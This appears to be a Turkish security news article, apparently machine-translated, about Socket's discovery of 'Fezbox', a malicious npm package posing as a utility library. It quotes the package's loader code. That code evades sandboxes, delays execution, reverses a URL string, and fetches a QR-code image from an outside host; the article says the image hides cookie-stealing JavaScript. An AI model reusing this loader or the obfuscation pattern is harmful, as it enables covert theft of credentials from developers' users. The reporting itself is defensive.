NPM ekosisteminde, QR kodlarında kötü amaçlı kodları gizlemek için yenilikçi bir steganografik teknik kullanarak gelişmiş bir kötü amaçlı yazılım kampanyası ortaya çıktı.
“Fezbox” olarak tanımlanan kötü amaçlı paket, kendisini akıllıca gizlenmiş bir QR kod yükü aracılığıyla gizlice şifre çalma işlemlerini yürütürken, meşru bir JavaScript/TypeScript yardımcı programı olarak sunar.
Bu saldırı, tedarik zinciri tehditlerinde önemli bir evrimi temsil eder ve siber suçluların güvenlik önlemlerini atlamak ve algılama sistemlerinden kaçmak için giderek daha yaratıcı yöntemleri nasıl benimsediğini gösterir.
Fezbox paketi, yazı tipi desteği, performans optimizasyonu ve modüler işlevsellik sunan kapsamlı bir yardımcı kütüphane olarak maskeleniyor.
Dokümanlarına göre, paket, özellik modülleri tarafından düzenlenen ortak yardımcı işlevler sağlar ve geliştiricilerin yalnızca gerekli bileşenleri içe aktarmasına izin verir.
ReadMe dosyası, QR kodlarını oluşturmak ve ayrıştırmak için bir QR kod modülünden bahsederken, paketin uzak URL’lerden QR kodlarını getirme ve gömülü kötü niyetli kodları yürütme özelliği hakkında kasıtlı olarak önemli ayrıntıları atlar.
.webp)
Socket.DEV analistleri, paketin kod tabanındaki şüpheli davranış kalıplarını algıladıktan sonra kötü amaçlı yazılımları tanımladılar.
Güvenlik ekibi, dize tersine çevirme, kod minifikasyonu ve son yükü gizlemek için steganografik QR kodlarının yeni kullanımı dahil olmak üzere birden fazla gizleme teknik katmanı keşfetti.
Keşif sırasında, kötü niyetli paket NPM kayıt defterinde aktif kaldı ve Socket.Dev’i, Tehdit Actor’ın hesabının hemen kaldırılması ve askıya alınması için NPM güvenlik ekibine dilekçe verdi.
Gelişmiş Steganografik Yük Teslimi
Kötü amaçlı yazılım, kum havuzu tespitinden kaçınmak için çevre kontrolleri ve zamanlama gecikmeleri ile başlayan sofistike bir çok aşamalı yürütme süreci kullanır.
İlk kötü amaçlı kod, pencere ve belge nesnelerinin varlığını doğrulayan tarayıcıya özgü koşullar içerir ve yürütmenin yalnızca meşru tarayıcı ortamlarında gerçekleşmesini sağlar.
Koşullar karşılandığında, kötü amaçlı yazılım, yük alma işlemini başlatmadan önce 120 saniye bekler.
Temel kötü niyetli işlevsellik, steganografik QR kodunun yerini gizleyen tersine çevrilmiş bir URL dizesi etrafında döner:-
(function () {
if (n.isDevelopment() || c.chance(2 / 3))
return;
setTimeout(async () => {
const loader = new d.QRCodeScriptLoader();
const t = await loader.parseQRCodeFromUrl(
"gpj.np6f7h_ffe7cdb1b812207f70f027671c18c25b/6177675571v/daolpu/egami/qsqbneuhd/moc.yrani"
.split("")
.reverse()
.join("")
);
loader.executeCode
}, 120 * 1e3);
})();
Tersine alındığında, bu dize son kötü amaçlı yükü içeren buluta barındırılmış bir QR kod görüntüsüne çözülür. QR kodunun kendisi, tarayıcı çerezlerinden kullanıcı adı ve şifre değerlerini çıkaran JavaScript kodunu gizleyen bir steganografik kap olarak hizmet eder.
Kod çözüldükten sonra, yük, ek dize gizleme teknikleri kullanarak özellikle “kullanıcı adı” ve “şifre” alanlarını arayarak kimlik doğrulama kimlik bilgileri içeren çerezleri bulmaya çalışır.
Çıkarılan kimlik bilgileri daha sonra bir Bulut Platformu hizmeti olan Demiryolu’nda barındırılan bir komut ve kontrol sunucusuna bir HTTPS sonrası isteği yoluyla açıklanır.
Bu çok katmanlı yaklaşım-çevresel kaçırma, zamanlama gecikmeleri, ip tersine çevrilmesi, steganografik gizleme ve kimlik bilgisi çıkarma-güvenlik ekiplerinin savunmaya hazırlanması gereken NPM tabanlı tedarik zinciri saldırılarında sofistike bir evrimi temsil eder.
Daha fazla anında güncellemeler almak için bizi Google News, LinkedIn ve X’te takip edin– CSN’yi Google’da tercih edilen bir kaynak olarak ayarlayın.